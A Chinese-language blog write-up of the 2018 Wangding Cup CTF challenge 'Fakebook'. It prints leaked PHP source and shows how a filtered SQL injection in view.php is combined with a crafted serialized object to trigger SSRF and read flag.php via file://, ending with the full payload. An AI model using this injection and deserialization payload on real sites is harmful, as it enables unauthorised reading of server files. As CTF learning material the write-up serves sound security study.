CHHHCHHOH 's BLOG

[网鼎杯 2018]Fakebook

用dirsearch扫,发现robots.txt,找到user.php.bak
<?php
class UserInfo
{

public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
    $this->name = $name;
    $this->age = (int)$age;
    $this->blog = $blog;
}
function get($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if($httpCode == 404) {
        return 404;
    }
    curl_close($ch);
    return $output;
}
public function getBlogContents ()
{
    return $this->get($this->blog);
}
public function isValidBlog ()
{
    $blog = $this->blog;
    return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}
顺便注册一个,博客网址用了这个网站,登录之后发现在源代码中有经过base64编码的这个网站的内容,猜测存在ssrf,但是有过滤
之后发现view.php?no=1
可以进行sql注入,union和select之间不能用空格,要用/**/绕过
然后就是正常的联合注入
查询到data字段时出现反序列化,里面的数据就是我们注册时的,如果data里的blog变成file:///var/www/html/flag.php,我们就可以读取了
union在查询的时候如果数据不存在,会构造一个虚拟的数据在数据库中,借这个特性可以添加临时虚拟用户,blog就可以随我们控制了
然后用sql和ssrf一起读文件
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

添加新评论